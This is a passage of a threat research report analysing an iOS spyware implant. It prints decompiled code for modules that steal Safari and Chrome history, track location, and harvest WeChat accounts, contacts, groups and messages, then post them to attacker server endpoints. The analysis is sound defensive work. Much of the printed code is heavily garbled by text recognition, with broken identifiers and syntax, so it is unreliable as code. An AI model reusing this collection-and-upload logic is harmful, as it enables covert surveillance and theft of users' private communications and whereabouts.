vl =

vl5 = Zi_ﬂ.iﬂl:.llt_ﬂetil.ifilhtrv)_hluck_.invnke;

v16 = &_ block_descriptor_40_e8_32s_e34_v24_ 0_ NSDictionary 8_ NSError_161;

v2 = (id)ICommonDelegate;

vl obje_retain(v21l);

postForm: toUrl:onCompletion: runLoop:", v9, CFSTR("/api/wifi_connection/"), &v1Z, OLL, OLL);

objc_s ((id) :c:", 17002LL, CFSTR("FIEEMWIFIEDIIR."));
v1l5 = +[UtilNetworksManager sharedInstance] (&0BJC_CLASS___ UtilNetworksManager, "sharedInstance");
1

-[UtilNetworksManager scan](v1d,
objc_release(vld);
vil = +[Utill’etmrklll.lngar sharedInstance] (§0BJC_CLASS__ UtilNetworksManager, "sharedInstance");

v12 = obje_r lue(vii);
vil = —[UtIl ist] (vi2, " ist");
v23 = obje_r 1 lue(vll);

objec_release(vl2);
v10 = objc_msgSend(&0BJC_CLASS NSMutableDictionary, "alloc");
v9 = objc_msgSend(v10, "init")7

vaz = vi;
objc_release(OLL);
v8 = obje ((id)z legate, "dictT: i, v23);

v7 = objc_retai se (v8);
objc_msgSend(v9, aatvnlua:fnrl(ay:", v7, CFSTR("data"));
objc_release(v7);

v6 = objc_t mg!and(ioﬂac CLASS__| " thI :", 17002LL);
v5 = objc_retai II-(VE)

objc_msgSend(v9, -etv-l.ue forKey:", v5, CFSTR("cmd"));
objc_release(v5);

vd = obje_t ((id) I legate, "GetDeviceID");

v3 = objc_retai 1 se (v4)

objc_msgSend(v9, "setValue:forKey:", v3, CFSTR("uid"));
objc_release(v3)}

v16 = _NSConcreteStackBlock;

v1l7 = -1040187392;

vig = 0;

vl9 = _ 27_ WifiList_GetWifiScanList__block_invoke;

v20 = & b.l.ack dal:ziptor 40_eB_32s_¢ a!d vzl 0__NSDictionary_8__NSError_ 161;

v2 = (id)ICommonDelegate;

v21l = obje_s retlin(v25),

ob;c_ugsand(vz, ?oﬁtrumktnur:lxoncmpletion:mnlmpk", v9, CFSTR("/api/wifi nearby/"), &v16, OLL, OLL);

Figure 61. Uploading sensitive information to the corresponding server

3.10 Browser module (Command ID 14000)
It is mainly used to get the device’s browser history for Safari and Chrome. For Safari, it first loads the
history database from the Safari application path.

fid _ cdecl +[Safari getSafariHistoryPath](id al, SEL a2)
{

id v2; // x0

id v3; // x0
void *v4; // x20
id v5; //

id v6; // x19
id v7; // =0

id v8; // x20

v2 = +[Browser GetCommonApi] (&0BJC_CLASS___ | , "GetC Api®);

v3 = objc_retainAutoreleasedReturnValue(v2);

vé = v3;

v5 = objc_msgSend(v3, seatcm\ppnatanm ;, CFSTR("com.apple.mobilesafari”));
v6 = objc_retai Value(v5);

objc_release(v4);

if (v6 )

{

v7 = objc_msgSend(v6, "stringByAppendingPathComponent:", CFSTR("/Library/Safari/History.db"));
v8 = objc_retainAutoreleasedReturnValue(v7);

v8 = OLL;

objc_release(v6);
return objc_autoreleaseReturnValue(ve);

Figure 62. Getting the Safari browser history




It uses the following Structured Query Language (SQL) statement to query each browser item, then
parses each detail properties such as URL, title, and visit time information.

“select a.id,url,domain_expansion,title,visit_count,visit_time from history_items as a left join
history visits as b on a.id=b.history item where a.id>%d order by a.id asc”

v5 = +[Browser getFromID:](&O0BJC_CLASS__ Browser, "getFromID:", CFSTR("browser_safari_id"));
v6 = objc_msgSend(
&0BJC_CLASS lsstrxng
"stringWithFormat: "
cnn( select a.id,url,domain expansion,title,visit_count,visit_time from history_items as a left join history visits as

S)
vl = ol:ja retainAutoreleasedReturnValue(vi);
w8 = +[Browser GetCommonApi] (&0BJC_CLASS.
9 = obje_r lue(vE) 5

Browser, “GetCommonApi®);

w1l = obje _msgSend(v9, "databaseWithPath:", vi);
vi2 = ebjc lue(vil);
objc_relaase(vio);

if ( Iviz )

vi4 = obje_msgSend(
EOBJC_CLASS___NSException,
exceptianluthl’ane reason:userInfo:”,
CFBTR(" Getsafaﬂ.l!iatory )r
CFSTR("open safari path errl"),
O0LL) ;
v45 = obje_; 1 lua(vid);
v46 = objc_autorelease(vi5);
objc_exception_throw(vis);
goto LABEL_17;

if ( I((uasigned int)objc_msgSend(v12, "open") & 1) )

v47 = objc_msgSend(
ﬁﬂBJC CLASS lsExcephlnn,
ptionWIthName: suserinfo:”,

CFSTR("GetSafariHistory”),
CFSTR("open safari db err!l”),

v48 = obje_ lue(vi7);
v49 = objc_autorelease(vif);
objc_exception_throw(vid);

goto | LABEL_17;

3;13 = objc_msgSend(&0BJC_CLASS___ NSMutableArray, "allec");
v53 = objc_msgSend(vl3, "init");

v51l = wlj

v52 = viz;

vid = ubju _msgSend(v12, "executeQuery:", vi);

Figure 63. Retrieving properties such as URL, title, and visit time

The browser history database of Chrome is located in the “/Library/Application
Support/Google/Chrome/Default/History” directory. The rest of the steps are almost similar to the ones
used to get the Safari history.

v2 = +[Browser GetCommonApi] (&0BJC_CLASS Browser, "GetCommonApi");

v3 = objc_retainAutoreleasedReturnValue(v2);

vi = v3;

v5 = objc_msgSend(v3, "searchAppDataHome:", CFSTR("com.google.chrome.ios"));

v6 = objc_retainAutoreleasedReturnValue(v5);
objc_release(v4);
if ( v6 )

v7 = objc_msgSend(
v6
"s;.ringaynppandingpathCMPonent 875
CFSTR("/Library/Application Support/Google/Chrome/Default/History"));
v8 = objc_retainAutoreleasedReturnValue(v7);
v9 = +[Browser GetCommonApi] (&0BJC_CLASS___ Browser, "GetCommonApi”);

v10 = objc_retainAutoreleasedReturnValue(v9);

vll = v10;

vli2 = objc_msgSend(v10, "GetPluginDataDir:", CFSTR("browser"));

v1l3 = objc_retainAutoreleasedReturnValue(vi2);

vid = v13;

vl5 = objc_msgSend(&0BJC_CLASS___ NSString, "stringWithFormat:", CFSTR("%€/chrome.db"), v13);
v1l6 = objc_retainAutoreleasedReturnValue(v15);

objc_release(vlid);

objc_release(vll);

vl7 = objc_msgSend(&0BJC_CLASS___NSFileManager, "defaultManager");

v1l8 = objc_retainAutoreleasedReturnValue(v1i7);

if ( (unsigned int)objc_msgSend(v18, "fileExistsAtPath:", v16) )
objc_msgSend(v18, "removeltemAtPath:error:", v16, OLL);

objc_msgSend(v18, "copyItemAtPath:toPath:error:", v8, v16, OLL);

objc_release(v1B8);

objc_release(ve8);

obic release(v6):

Figure 64. Getting the Chrome browser history




vli2 = objo_retain(a7);

vli = obje ug!end[&on.rc CLASS___ NSMutableDictiomary, "allee");
vli4i = obje ugs-nd(vl:i, Tinit");

objc_msgSend(v14, "setValue:forKey:", v12, CFSTR("data"));

v15 = objc ugs.nd(l«unil’c r.-uss N5Number, nunh-ﬂ(ithlnt-gnr ", 14001LL);
vl6 = objec_retal ;.nu.l.ue(ns;,

objc_msgSend(v1d, lltVllIll'(drKI’y ", vlé, CFSTR("cmd"));
objc_release(vl6);

vl7 = obje_msgSend( lcmnl.lgltn Getnnvl:axn )i

vl = obje_retai lue(vl7

objc ugsmd(vu, Aetvalua forKey:", v18, crs'm( uid"));
objc_release(v18);

vl = objc_msgSend(&OBJC_CLASS__ NSNWumber, "numberWithInt:", v9);
v20 = objc_retainAutorel lue(vis);

objc_msgSend(vl4, "setValue:forKey:", v20, CFSTR("total"});
obje_release(vi0);

v2l = obje mgsend(&on.:c CLASS___NSNumber, "numberWithInt:", v8);
v22 = objc_retai lua(v2l);

objc_msgBend(v14, setvalua forKey:", v22, CFSTR("complete”));
objc_release(v22);

vi3l = ICommonDelegatej

vi5 = NSConcreteStackBlock;

v26 = 3254779904LL;

vi] = __Browser_SendHistory_fromid_ total complete_data__ block_invoke;
vig = & block, _descriptor_52_e8_40s_e34_v24_ 0 llsni:t.i.unlry 8__NSError_l161;
v29 = dl

vi0 = nbj: retain(vil);

vil =

nhj c mg's'nd( v23, "postForm:tolrl:onCompletion:runLoop:”, vld, CPSTR("/api/browser_history/"), &v25, OLL);

Figure 65. Uploading the history information to the hxxp://.../api/browser_history/ server

3.11 Locationaaa module (Command ID 13000)

This module is mainly used to get the targets’ iPhone location information. It includes two sub-commands.
When the command is 13002, it sets up the continuous configuration with the attacker’s parameters.

vas = o\ _mmumas cpyves + mepgp
if ( v27 == 13001 )
objc_msgSend(*(id *)(v37 + 32), "addTaskId:mode:", *(unsigned int *)(v37 + 48), v39);

else

if ( v27 1= 13002 )
{

v26 = +[ ings :1(
&O0BJC_CLASS cumonst:ingl
unsuppartedcamand ",
*(unsigned int *)(v37 + 48));
v25 = objec_: ratainnuto:alealadketurnvalua(v26) i
v24 = +[Plugin ion B
&OBJC_CLASS Plugin!xcapt:lon,
"exceptionWithErrorCode:Reason:
11lLL,
v25);
v22 = objc_retainAutoreleasedReturnValue(v24);
exception = objc_autorelease(v22);
objc_release(v25);
objc_exception_throw(exception);
break(lu);
(0x93B4LL) ;

objc_msgSend(*(id *)(v37 + 32), "setupContinuousConfigurationMode:params:", v39, v42);

Figure 66. Command 13002

vu = ohjc mgscnduucatwn, ohjactruzxuyadsuhsczipt ", json_keys::kInterval);
vl3 = objc_retai lue(vid);

vi2 = (ﬂouhle)(mt)ahjc_ugs-ml(vla, "intValue") * 60.0;

objc_release(vli);

if (vlZ < 0.0 )

{

vll = +[LocationStrings invalidInterval] (&0BJC_CLASS___ LocationStrings, "invalidInterval");

v10 = objc_retainAutoreleasedReturnValue(vll);

v9 = +[PluginException exceptionWithErrorCode:Reason:](
&0BJC_CLASS ___ PluginExceptiom,
"exceptionWithErrorCode:Reason:",
3LL,
v10);

vi = obje_retainAut 1 lue(v9);

v5 = objc_autorelease(vi);

objc_exception_throw(vs);

break(lu);

(0x996CLL) ;

}

vE = objc_msgSend(location, "objectForKeyedSubscript:"”, json_keys::kDuration);
v7 = objec_retainAutoreleasedReturnValue(ve);

v6 = (double)(int)obje_msgSend(v7, "intValue") * 60.0 * 60.0;

objc _release(v7);

Figure 67. Parameters are primarily the update interval and duration




vi = +[L i g ate] (80BJC_CLASS___ LocationStrings, “startTemplate”);
v3 = objc_i i lue(vZ);

v4 = v26-> mode;

v22 = 0;

v20 = 0;

v13 = v3;

if ( v4 )

{

vi0 = +[L hi ] (kOBJC_CLASS___ Locati , "hi "y
v21 = objc_retainAutoreleasedReturnValue(v10);

vi2 = #[L ] (60BJC_CLASS__ L " )
v231 = obje_; rataiuutcralealednetunvuue[vl2);

va2 = 1;

vil = v23l

}
v9 = uhje m-gﬂend(&oadc CLASS___NWSString, "stringWithFormat:", v13, vll)j
v24 = lue(vd);
if ( vzn i 1)
objc_release(v21);
if (viz & 1)
objc_release(v2i);
objc_release(vi3);
-[BasePlugin sendLog:cmdId:](v26->super._plugin, "sendLog:cmdId:", v24, (unsigned int)v26->super._cmdId);
objc_msgSend(v26->_manager, "setDelegate:", v26);
if ( v26->_mode )
objc_msgSend (v26->_manager, "setDesiredAccuracy:", kCLLocationAccuracyBest);
alse
al:jc_mlﬁ!and(v26->_lu|mgex', netnesimdﬁcnnrac' ", kCLLocati ers);
c (v26=->_1 , "star Location”);

Figure 68. Command ID 13001, where a task is added to continue updating the location data using the given
configuration

B .
v28 = objc_msgSend (&0BJC_CLASS___ NSNumber, "numberWithDouble:", vé);

v27 = objec_retainAutore leasedReturnValue(v28);

objc_msgSend(v59, "setObject:forKeyedSubscript:", v27, json_keys::kLng);
objc_release(v27);

objc_msgSend(location, "coordinate”);

v51 = v7;

v52 = va;

v26 = objc_msgSend (&0BJC_CLASS___ NSNumber, "numberWithDouble:", v7);

v25 = objc_retai nAutore leasedReturnValue(v26);

objc_msgSend(v59, "setObject: forl:eyedSu,bscript ", v25, json_keys::kLat);
objec_release(v25);

objc_msgSend(location, "horizontalAccuracy");

v24 = obje_1 mgsend(ﬁon.l‘c CLASS___ NSNumber, "numberWithDouble:", v9);

v23 = objc_retainAutor lue(v24);

objec_ msgSend(v59, letl}h_‘] ect:forKeyedSubscript:”, v23, json_keys::kAccuracy);
objc_release(v23);

v22 = objc_msgSend(&OBJC_CLASS __ NSNumber, "numberWithInt:", OLL);

v21 = obje_retainAutoreleasedReturnValue(v22);

objc_msgSend(v59, "setObject:forKeyedSubscript:", v2l, json_keys::kSource);
objc_release(v21l);

v20 = objc_msgSend(location, "timestamp"”);

v19 = objc_retainAutoreleasedReturnvValue(v20);

objc_msgSend(v19, "timeIntervalSincel970");

v1l8 = objc_msgSend(&OBJC_CLASS___ NSNumber, "numberWithDouble:", v10 * 1000.0);
v17 = obje_retainAutoreleasedReturnValue(v1is);

objc_msgSend(v59, "setObject:forKeyedSubscript:", v17, json_keys::kTime);

Figure 69. Uploading the location details with the device info to the hxxp://.../api/location/ server

3.12 The iOS WeChat module (Command ID 12000)

This module is mainly used to collect the targets’ WeChat associated information, such as account
information, contacts, groups, messages, and files.




switch ( v48->_emdID )

{
case 12001:
v3i0 = objec_ mlgEend(GO!JC CLASS H-Chutncuuunt, "allec");
v6 = ebje nsgsnnd(vq&, "objectForKey:", vid);
v29 = objc_retainAutoreleasedReturnValue(v6);
vl = =[WeCh tor initwWi: Info:](v30, "initWithAccountInfo:", v29);
vB = location;
location = v7;
objc_release(vE);
objc_release(v29);
break;
case 12002:
v28 = obje_t nugs-nd(tolaﬂ CLASS chhntcnntnctl, "alloc”);
v9 = ebje nsgsend(vdﬁ, ohjactrorxay: s vad);
v27 = objc_retainAutoreleasedReturnValue(vd);
v10 = -[WeChatGenerator initWithAccountInfo:](v28, "initWithAccountInfo:", v27);
vll = locationj
location = v10;
objc_release(vil);
objc_release(vi7);
break;
case 12003
w26 = obje_t nngsnna(nonac CLASS w-ch-turnup, "alloe");
vl2 = objc msgSend(va6, ohjeetrorley: y vA4);
v25 = objc_retainAutoreleasedReturnValue(v1Z);
v1l3 = -[WeChatGenerator initWithAccountInfo:](v26, "initWithAccountInfo:", v25);
vl4 = location;
location = v13;
objc_: release{vld);
objc_release(vi5);
break;
case 12004
v24 = objc_msgSend(&OBJC_CLASS__ WeChatMessage, "allec");
v15 = objc_msgSend(vi6, "objectForKey:", vid);
w23 = objc_retainAutoreleasedReturnValue(v15);
vl6 = -[WeChatGenerator initWithAccountInfo:](v24, "initWithAccountInfo:", v23);
v17 = locationj
location = vl16)
objc_release(vli7);
objc_release(v23);
break;
case 12005
w22 = obje_1 mngsend(lonac CLASS wechatrile, "allec");
v18 = objc_msgSend(vi6, "objectForKey:", vid);
w21 = objc_retainAutoreleasedReturnValue(v1E);
v1l9 = -[WeChatGenerator initWithAccountInfo:](v22, "initWithAccountInfo:", v21);
v20 = locationj
location = v19;
objc_release(v20);
objc_release(v2l);
break;
default:
r:eik;

}

Figure 70. The gathered WeChat information

3.12.1 The framework for stealing information
The steps used to steal the information:

1. Get the users' WeChat accounts

To get the WeChat accounts' information, it first locates WeChat’'s Documents directory and parses the
Logininfo2.dat file. This file stores many of the accounts' information using a special format that includes
id_persion, phone, and name.

vl = +|l.lti.ll ue-rchlppnatn!ma ]1(&OBJC_CLASS___ Utils, "searchAppDataHome:", CFSTR("com. s.xin"));
v53 = objc_retai lue(v2);
if ( w53)
{
v3 = obje d(v53, "stri p :", CFSTR("Documents”));
vi = objec_ ratlinnutu:a1sasadneturnvalua(v3),
v29 = vd;
v5 = ehjé g (v4, "stri di 1p :", CFSTR("LoginInfo2.dat"));

v51 = ebjc_i :atainnutotnlalludnstu:nvalua(vS),
objc_release(v29);
v6 = objc_s msgSend(&0BJC_CLASS___NsData, "dataWithContentsOfFile:", v51);

v50 = obja_: TeasedR lue(vE);

location = OLLj

v47 = OLL;

vl = +[ parseF terror:] (&0BJC_CLASS__ LogInfoProb, "parseFromData:error:", v50, &v47);// GPBMessage
v28 = objeo_ i leased lue(v7);

objn atnrastrong(ilocatlon, va7y;

Figure 71. Retrieving Logininfo2.dat, which contains account information

It then uses the id_persion value to compute an MD5 hash. Id_persion is a value, like “wxid_xxxx.”
WeChat supports multiple users, so it uses this hash to create each account's directory for storing
information such as account ID and usage.




vid = +[GF a:error:] (§0BJC_CLASS___ AccountProb, "parseFromData:errer:”, v1l2, &obj);
v27 = objc_: retalnnutnrelealednnturnvalus(v13},
objc_storeStrong(&location, obj);
vi5 = v27;
if ( location )
goto LABEL 30;
v3i3 = objc_t Mg’SGnd(&DBJC CLASS___NSMutableDictionary, "new");
v14 = objc_msgSend(v35, "id_p"
v3i2 = objc_retainAutoreleasedReturnValue(vld);

Figure 72. Getting the id_persion value

After finding each account directory, all the properties, including id_persion, directory, phone, and
nickname info for each account, will be collected.

vl5 = objec_t d(v53, "stri i :", CFSTR("Documents"));
v26 = objc retai 1 alue(vl5);
v16 = objc_i nagSend(vxz, "md5");
v1l7 = objc_retai lue(v1l6);
v25 = v17;
v18 = objc_msg (v26, "stri g ", viT);
v31 = objc_retai 1 lue(v18);
objc_release(v25);
objc_release(vic);
+[Utils logDebug: cantent 1(
EOBJC CLASS__ |
.log'Debug content:

4,
cFaTR("get account %@ and dir %@"),
v3z2,
v3l);
vio = 0;
objc_: nsgsand(v45 "fileExistsAtPath:isDirectory:", v3l, &v30);
if (v30 &

objc_msgSend(v33, "setObject:forKeyedSubscript:", v32, CFSTR("account"));
objc_msgSend(v33, satobj ect: forKeyedB\lbscript :", v3l, CFSTR("dir"));

v19 = obje_ ugssnd(vzs, "phone");

v24 = objc_retai lue(v19);

obje_msgSend(v33, latubjact :forKeyedSubseript:", v24, CFSTR("phonenumber"));
objc_release(vid);

v20 = obje_ ugssnd(vzs, "name");

v23 = objc_retai lue(v20);

objc_msgSend(v33, latnbj ect:forKeyedSubscript:”, v23, CFSTR("nickname"));
objc_release(v23);

objc_msgSend(v46, "setObject:forKeyedSubscript:", vi3, v32);

Figure 73. Using the id_persion value to calculate a hash and using it to find each account directory

2. Use the collected accounts to get the corresponding information that command ID refers to

The following figure shows that attackers will repeatedly go through all accounts and execute the upload
function.

ob) = objc_retain(vié-> -lmcwnel);

vlil = objec_1 (obj, "countBy ingWithState:objects:count:”, accounts_array, v17, 16LL);
if ( vi1 )

{

v10 = *(_QWORD *)accounts_array[2]}
v -

v8 = vll
while (1)
{

i

vl = v9;

i€ ( *(_QWORD *

objc_enumerati
Aocount = *(id *) (ac
if ( (unsigned ‘m)nbje ms

[2) 1= v10 )

ay(l] + 8 * v9);
(account, "isAvailable”) & 1)

objc_msgSend(account, "loadStatus:", v16->_paraDict);

while ( 1)
{
v = 0;
if ( (unsigned int)objc_: (account, * ) &1)
vi = v16->_status == 1;
if ( tva )
break;

if ( !((unsigned int)-[WeChatProcess upload:](vi6, "upload:", sccount) & 1) )
{

vi6=>_status = 2LL;
break;

objc_msgSend(sccount, “saveStatus”);

Figure 74. Attackers will repeatedly go through all accounts and execute the upload function




[7] -IWeChatAccount getData]
[7] -[WeChatGroup getData]

[7] -[WeChatMessage getData]
[7] -IwWeChatGenerator getData]
[7] -IweChatContacts getData]
[7] -[WeChatFile getData]

v3 = objc_ nd(location, "getData");
v65 = objc_retai 1 lue(vi);
if ( v65 )

if ( (unsigned int)objc_msgSend((id)globalCommon, "allowUploadData:", (unsigned int)v68->_emdID) & 1 )
{

v63l =

7
switch ( v68->_cmdID )
{

case 12001:

objc_storeStrong(&v63, CFSTR("/api/chat/account”));
o LABEL_12;

case 12002:
objc_storeStrong(&v63l, CFSTR("/api/chat/contacts”));
goto LABEL_12;

case 12003:
objc_storeStrong(&v63, CPSTR("/api/chat/group”));
goto LABEL_12;

case 12004:
objc_storeStrong(&v63, CFSTR("/api/chat/message/text”));
goto LABEL_12;

case 12005:
objc_storeStrong(&v63, CFSTR("/api/phone_file/"));

m— 1Al

Figure 75. In the upload function, it uses the related handler execute getData() function to get the detailed content,
which it sends to the related server.

3.12.2 WeChat collected Information

WeChatAccount

vl3 = self;
vl2 = a2;
vZ = objc_msgSend (&0BJC_CLASS___NSMutableDictionary, "dictionaryWithDictionary:", self->super._accountInfo);
v1ll = objc_retainAutoreleasedReturnValue(v2);
v3 = -[WeChatAccount searchHeadIcon](v13, "searchHeadIcon");
v1l0 = objc_retainAut 1 d| lue(v3);
if ( w10 )
objc_msgSend(v1l, "setValue:forKey:", v10, CFSTR("headicon"));
location = OLL;

Figure 76. Collecting the head icons for each account

WeChatGroup

v2 = objé_msgSend(5e1f->super._acco\mtnome, "stringByAppendingPathComponent:", CFSTR("DB"));
v3 = objc_retainAutoreleasedReturnValue(v2);

vl0 = v3;

vd = obj é_msgSend(va , "stringByAppendingPathComponent:", CFSTR("WCDB_Contact.sqlite"));

location = objc_retainAutoreleasedReturnValue(v4);
ahir ralaasafwinl:

Figure 77. Gathering data in the WCDB_ Contact.sglite database

It queries this database using the “select dbContactChatRoom,dbContactRemark,userName,ROWID from
friend where ROWID>%d” SQL statement. After that, it parses each item that contains the “chatroom”
string.




v7 = objc_msgSend(v5E, datlroﬂ:ulm:ndax "y OLL);
v56 = obje_retai 1ue(v7)f

v8 = objc_1 mgsend(vSB, "duta!‘orculunnIndex r 1LL);
v55 = objc_retai lue(vE);

v9 = objc_msgSend(v58, stringrorﬁolunn:ndex ¢ 2LL);
v54 = objc_retai Llue(v9);

if ( (unsigned int)uhjc_ugsund(vsl}, "containsString:", CFSTR("@chatroom")) & 1 )

v51 = locationj;

v1l0 = +[GPBMessage parseFromData:error:](&0BJC_CLASS___ ChatRoomPB, "parseFromData:error:”, v56, &v5l);
v37 = objec_retainAutoreleasedReturnValue(v10);

objc_storeStrong(&location, v51);

v52 = v37y

obj = location;

vll = +[GPBMessage parlnrmtl error:) (&OBJC_CLASS___ RemarkPB, "parseFromData:error:", v55, &obj);
v3i6 = objc_retai nValue(vll);
nhjc_ltoraltrcmg(&lucatxon, obj);

v50 = v3

vi2 = objc lquInd(v]ﬁ am“);

v48 = obje_retai lue(vl2);

v1l3 = objec_1 msend(vsz, "members") ;

v14 = objec_retainAutoreleasedReturnvValue(v13);

vaT = v1d;

v1l5 = objc_msg ‘ivlo!, " p sSeparatedByString:", CFSTR(";"));
vi6 = objc_retai Value(vl5);

v45 = ebje_s ugianﬂ.(ioa.:rc CLASS___NSMutableDictionary, "new");

objc_msgSend(v45, "setObject:forKeyedSubscript:", v48, CFSTR("groupName"));
objc_msgSend(v45, "setObject:forKeyedSubscript:", v54, CFSTR("groupID"));
v44 = objc_msgSend(&0BJC_CLASS___ NSMutableArray, "new");

Figure 78. Parsing for the "chatroom" string
WeChatMessage

This part is mainly used to collect targets’ WeChat message information. To collect the messages, it firstly
collects all the friends from the WCDB_Contract.sqlite database and filters out unwanted ones like
“newapp,” then saves the information into a global dictionary variable named “accountMD5” using the
<UserName_MD5Hash, UserName> pattern.

:;7--«;2?;.:2::74(-:3, -trx:glynpp.n:i:zl(’::l;(':uponant| , CPSTR("WCDB_Contact.sqlite"));

objc_release(vi2);
v5 = objc_i uqnu((:d)globllca—ou, "databaseWithPath:", v37);

v6 = objc_reta lue(v5);

vl = y39-> catactbb)

u}9->_conucwb - v6;

objc_release(v7);

if ( (unsigned int)objc_: d(vio->_ b, "open") & 1)

v8 = objc_msgSend(&0BJC_CLASS ___ NSMutableDictionary, "new”);

v9 = (void *)accountMD5;

accountMD5 = (_ int6d)vi;

ahjc release(v?);

vi0 = obje (\'29-) b, " y:", CFSTR("select userName from frieamd"));
Vit = ob’q "o.i In-(;AU)’

while ( (unsigned mt)objc _msgSend(v35, "next”) & 1 )

{

vil = objc msgSend (v36, -tringromolmlndox , OLL);
1 cation = “objc_retai Aut Value(vil);

= location;

vi0 = (id)accountMD5;

vi2 = objc_msgSend(location, “md5");

v29 = objc_retainAutoreleasedReturnValue(vii);
objoc_msgSend(v3i0, "setObject:forKey:", vil, v29);
objc_release(vi9);

objo_storeStrong(&location, OLL);

}
objc_msgSend(vi6, "close");
Vil = (xd)wcwntﬂb!)

1(v39, "account”);
oqu retai 1 lue(vii);
1(v39, "account”);
- objc_t.t-i 1 lue(vid);

- 15

16 = objc_msgSend(v15, "md5");

v25 = objec_: ntaimtcnlu-d’atunv-luo(v 6)3
ohjc msgSend (v ‘B, "setObject:forKey:", v27, v25);

Figure 79. Retrieving the WeChat friends list information and saving it to accountMD5

if (Civ3a )
ABEL_13:
v1l7 = objc_msg d(v39 per._i , "stri di a p t:", CFSTR("DB"));
vig = objc_retai 1 d nvalue(v17);
v24 = v18;
v1l9 = objc_msgSend(v18, "stringBy di :", CFSTR("MM.sqlite"));
v33 = objc_: rotainueoralcusodmturnvn.un(vl9);

objc_release(v24);

v20 = objc_msgSend((id)globalCommon, "databaseWithPath:", v33);
v21l = objc_retainAutoreleasedReturnValue(v20);

v22 = v33->_db;

v3i9-> db = v21;

objc_release(v22);

v40 = (unsigned __ int8)objc_msgSend(v39->_db, "open") & 1;

vid = 1;

objc_storeStrong(&v33, OLL);

Figure 80. Opening a handler to the MM.sglite database, which is used to save all the messaging information



In this database, all the messages sent to certain friends are saved in the Chat_UserNameHash table, so
it can iteratively go through all the tables and then save the messages with UserName_Hash for all
friends.

v3D = objc_msgSend (§OBJC_CLASS__ NSMutableArray, "new");
v2 = objec_msgSend(
viZ->_db,
"executeQuery:",
CFSTR("SELECT name FROM sqlite master WHERE type='table' and name like 'Chati' and name not like 'ChatExti'"));
v29 = objc_retainAutorel alue(v2);
while ( (unsigned int)objc_msgSend(v2%9, "next”) & 1 )
{

vl = objo_msgSend(v29, "stringForColumnIndex:”, OLL);

location = objc_retai leased alue(vi);
= [Wec age g 1 ge:toArr:](v3i2, "getTableMessage:toArr:", location, v30)j;
obje_storeStrong(&location, OLL);

Figure 81. Sending saved messages to Chat_UserNameHash

It first used the “SELECT CreateTime,Des,MesLocallD,Message,type FROM %@ where MesLocallD>%d”
SQL statement to get all the message items. Among these columns, the MesLocallD is the name used to

save a message file. Type indicates the message type, including simple message, image, audio, video,

and open data, which can get the file type from suffix.

To get an audio message, it firstly sets up the message type, and then uses the
“laccountHome/Audio/message id.aud” path to read the content. This way, the attackers collect all the

messages.

case 0x22u:
v89 = v130;
v48 = objc_msgSend (&0BJC_CLASS___NSNumber, "numberWithInt:", 2LL);
vB8 = objc_retainAutoreleasedReturnValue(v48);
objc_msgSend(v89, "setObject:forKey:", v88, CPSTR("messageType"));
objc_release(vE8);
v49 = objc_msgSend(vl4d->super._accountHome, "stringByAppendingPathComponent:", CFSTR("Audio"));
v50 = objc_retainAutoreleasedReturnValue(v49);
v87 = v50;
v51 = objc_msgSend(v50, "stringByAppendingPathComponent:", v137);
v86 = objc_retainAutoreleasedReturnValue(v51);
v52 = objc_msgSend (&0BJC_CLASS___ NSString, "stringWithFormat:", CFSTR("%d.aud"), message_id);
v53 = objc_retai 1 dReturnValue(v52);
v85 = y53;
v54 = objc_msgSend(v86, "stringByAppendingPathComponent:", v53);
v55 = objc_retainAutoreleasedReturnValue(v54);
v56 = v118;
v118 = y55;
objc_release(v56);
objc_release(vi5);
objc_release(vi6);
objc_release(vEe7);
objc_msgSend(v130, "setObject:forKey:", &stru_AASE8, CFSTR("content"));
objc_msgSend(v130, "setObject:forKey:", v118, CPSTR("fileSrc"));
goto LABEL_34;

Figure 82. Getting an audio message
WeChatContacts

The contacts information is saved in the “WCDB_Contact.sqlite” database.

v2 = objec_msgSend(self->super._accountHome, "stringByAppendingPathComponent:", CFSTR("DB"));
v3 = obje_retainAutoreleasedReturnValue(v2);

v10 = v3;

v4 = objc_msgSend(v3, "stringByAppendingPathComponent:", CFSTR("WCDB_Contact.sglite"));
location = obje_retainAutoreleasedReturnValue(vd);

objc_release(vli0);

v5 = objec_msgSend((id)globalCommon, "databaseWithPath:", location);

v6 = objec_retainAutoreleasedReturnvalue(v5);

Figure 83. The WCDB_Contact.sglite database path




It uses the following SQL statement to get the contacts information:

select dbContactHeadlmage,dbContactProfile,dbContactRemark,userName,ROWID from friend
where ROWID>%d order by ROWID

Among these columns, the dbContactHeadlmage column is mainly used to store the head image
information; dbContactProfile stores each friend’s profile information, including country, province, and,
city; and the dbContactRemark field stores each friend’s remark details, such as name and alias.

v3 = objc_msgSend(
&OBJC_CLASS__ NSString,
"stringWithFormat:",
CFSTR("select Image le Remark, +ROWID from friend where ROWID>%d order by ROWID"),
(unsigned int)v66->_lastRead);
va = nhju retainhutoreleasedReturnValue(v3);
v62 = vd
v5 = objc_msgSend(v66->_db, "executeQuery:", vi);
v6l = objc_retainAutoreleasedReturnValue(v5);
while ( 1)

vag = 0j
if ( v66->_hasRead < vG6->_pageCount )
v48 = (unsigned _ int8)objc_msgSend(v61l, "next");
Aif ( 1(va8 & 1) )
break;
vé = (unsigned int)objc_msgSend(v6l, "intForColumnIndex:", 4LL);
v66->_lastRead = v6
v60 ="objo_msgSend (£0BJC_CLASS__NSMutableDictionary, "new");

vl = ohjc uqland(vﬁl, dataromolmlndex . OLL);// : Header image info
v59 = ue(v7);

vE = ob:l= ngs-wﬂ(vﬁl. hta?nmulmlndu , 1LL);// mmm: profile info

v58 = abjc, -(vs)

v9 = obje_t msgSend(v61, "dataForColumnIndex:', 2LL);// : remark info

v57 = objo_retainAutoreleasedReturnValue(v9);
v10 = objc_: uq‘end(vsl, "stringForColumnIndex:", 3LL);

v56 = objc. lue(v1i0);

if ( (unsigned int)objc_msgSend(v56, "containsString:", CFSTR("@chatroom")) & 1 )

v55 = 2;

}

else
vll = +[GPBMessage parseFromData: error: J(iomrc CLASS ) , "parseF :error:", v59, OLL);
v54 = objc_retai vil);
vi2 = 4| pai rerror: ](ﬁDBJC CLASS___ ProfilePB, "parseFromData:error:”, v58, OLL);
¥53 = nhje retai 1 lue(viz);
vld = #[ serror:] (&0BJC_CLASS___ RemarkPB, "parseFromData:error:”, v57, OLL);
M il Y-S upbnt bl bttt el bt

objc_msgSend (v60, "setObject:forKey:", v56, CFSTR("account"));
vaT7 v60;

vld obj c_msgSend(vM , "imageBig");

vaé objc_retainAutoreleasedReturnValue(vli);
objc_msgSend(v47, "setObject:forKey:", v46, CFSTR("headicon"));
objc_release(vi6);

